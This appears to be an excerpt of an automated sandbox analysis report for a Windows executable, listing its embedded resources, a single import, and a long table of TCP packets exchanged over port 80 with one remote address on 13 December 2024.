RT_ICON	0x87e3cc	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Syriac	Syriac	0.7293621013133208
RT_ICON	0x87f474	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Syriac	Syriac	0.7594262295081967
RT_ICON	0x87fdfc	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Syriac	Syriac	0.8111702127659575
RT_DIALOG	0x41c688	0x84	empty			0
RT_STRING	0x41c70c	0x4be	empty			0
RT_STRING	0x41cbcc	0xc4	empty			0
RT_STRING	0x41cc90	0x732	empty			0
RT_STRING	0x41d3c4	0x7bc	empty			0
RT_STRING	0x41db80	0x5f0	empty			0
RT_STRING	0x41e170	0x696	empty			0
RT_STRING	0x41e808	0x7c0	empty			0
RT_STRING	0x41efc8	0x76a	empty			0
RT_STRING	0x41f734	0x610	empty			0
RT_GROUP_CURSOR	0x41fd44	0x22	empty			0
RT_GROUP_CURSOR	0x41fd68	0x14	empty			0
RT_GROUP_ICON	0x880264	0x76	data	Syriac	Syriac	0.6779661016949152
RT_GROUP_ICON	0x8802da	0x68	data	Syriac	Syriac	0.7115384615384616
RT_VERSION	0x880342	0x1b8	COM executable for DOS			0.5704545454545454
RT_MANIFEST	0x8804fa	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
Syriac	Syriac

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 13, 2024 03:40:15.306549072 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:15.426896095 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:15.427037001 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:15.427305937 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:15.547297001 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:16.789493084 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:16.789623976 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:16.800029993 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:16.919886112 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:17.278464079 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:17.278539896 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:17.283560991 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:17.403475046 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:17.838520050 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:17.838571072 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:17.838607073 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:17.838618040 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:17.838618040 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:17.838641882 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:17.838670015 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:17.838681936 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:17.838716984 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:17.838737011 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:17.838753939 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:17.838789940 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:17.838795900 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:17.838795900 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:17.838896036 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:17.846800089 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:17.846854925 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:17.846910000 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:17.846910000 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:17.855168104 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:17.855257034 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:17.855309010 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:17.855309010 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.030875921 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.030932903 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.030978918 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.031023026 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.034662962 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.034723997 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.034737110 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.034775019 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.043097973 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.043154955 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.043246031 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.043297052 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.051493883 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.051582098 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.051708937 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.059885979 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.059932947 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.059982061 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.060081005 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.068274975 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.068378925 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.068383932 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.068449020 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.076719046 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.076807022 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.076827049 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.076906919 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.085092068 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.085149050 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.085197926 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.085287094 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.093525887 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.093590975 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.093631983 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.093698978 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.101912975 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.101967096 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.102029085 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.102075100 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.110789061 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.110841036 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.110893965 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.110893965 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.118881941 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.118959904 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.118971109 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.119034052 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.222943068 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.222999096 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.223417044 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.226777077 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.226802111 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.226883888 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.226885080 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.233181953 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.233309031 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.233463049 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.233575106 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.241708040 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.241796970 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.241799116 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.241868973 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.250253916 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.250309944 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.250360966 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.250360966 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.258584976 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.258677006 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.258735895 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.258735895 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.266817093 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.267019987 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.267262936 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.267358065 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.275460005 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.275547028 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.275552034 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.275652885 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.283826113 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.283921957 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.283951998 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.284010887 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.292227030 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.292321920 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.292337894 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.292418003 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.299952030 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.300100088 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.300113916 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.300168037 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.307663918 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.307754040 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.307815075 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.315220118 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.315340042 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.315687895 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.315793991 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.323019028 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.323081017 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.323165894 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.330729961 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.330785036 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.330815077 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.330857992 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.338186026 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.338246107 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.338267088 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.338303089 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.345886946 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.345973969 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.345983028 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.346118927 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.353605986 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.353679895 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.354577065 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.361337900 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.361407995 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.361466885 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.368969917 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.371171951 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.414797068 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.414844990 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.414930105 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.416166067 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.416274071 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.416364908 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.421916962 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.422049046 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.422285080 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.427675962 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.427774906 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.445734024 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:18.565747023 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.956506014 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:18.956662893 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:20.977966070 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:21.098090887 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:21.472731113 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:21.473292112 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:23.499222040 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:23.619246006 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:24.002213001 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:24.002568007 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:26.028971910 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:26.148709059 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:26.522710085 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:26.522811890 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:28.680921078 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:28.800951958 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:29.174288034 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:29.174362898 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:31.196732044 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:31.316940069 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:31.686222076 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:31.686403990 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:33.712841034 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:33.833528996 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:34.200227976 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:34.200413942 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:36.227667093 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:36.347536087 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:36.712676048 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:36.712762117 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:38.744081020 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:38.863903999 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:39.229149103 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:39.229320049 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:41.265770912 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:41.386020899 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:41.750575066 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:41.751097918 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:43.790388107 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:43.910728931 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:44.276357889 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:44.276884079 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:47.363044977 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:47.483578920 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.005384922 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.005449057 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.005454063 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.005502939 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.006660938 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.006714106 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.006719112 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.006753922 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.009445906 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.009500027 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.009509087 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.009541035 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.012028933 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.012087107 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.012124062 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.012167931 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.014867067 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.014919996 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.014928102 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.014965057 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.017431021 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.017491102 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.017565012 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.017615080 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.083426952 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.083486080 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.083583117 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.083754063 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.084642887 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.084705114 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.084707975 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.084753036 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.087150097 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.087205887 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.088159084 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.088198900 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.088213921 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.088243008 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.090951920 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.090989113 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.091005087 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.091033936 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.093739033 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.093801022 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.093835115 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.093900919 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.096430063 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.096487999 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.096513033 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.096574068 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.099071980 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.099133015 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.099133015 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.099185944 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.101937056 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.101999998 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.102000952 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.102045059 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.104542017 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.104604006 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.104604959 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.104649067 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.107229948 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.107290030 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.107290983 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.107341051 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.109924078 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.109983921 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.109985113 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.110035896 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.112852097 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.112916946 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.161634922 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.161688089 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.161819935 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.161819935 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.162941933 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.162996054 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.163002014 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.163042068 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.165344000 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.165400028 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.165404081 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.165456057 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.168035984 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.168093920 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.168216944 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.168270111 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.170732975 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.170784950 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.170902967 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.170953035 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.173489094 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.173542023 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.173563957 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.173609018 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.176220894 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.176282883 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.176309109 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.176356077 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.178838015 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.178888083 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.178957939 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.179003000 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.181526899 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.181576014 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.181727886 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.181777954 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.184238911 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.184293032 CET	49730	80	192.168.2.4	80.82.65.70
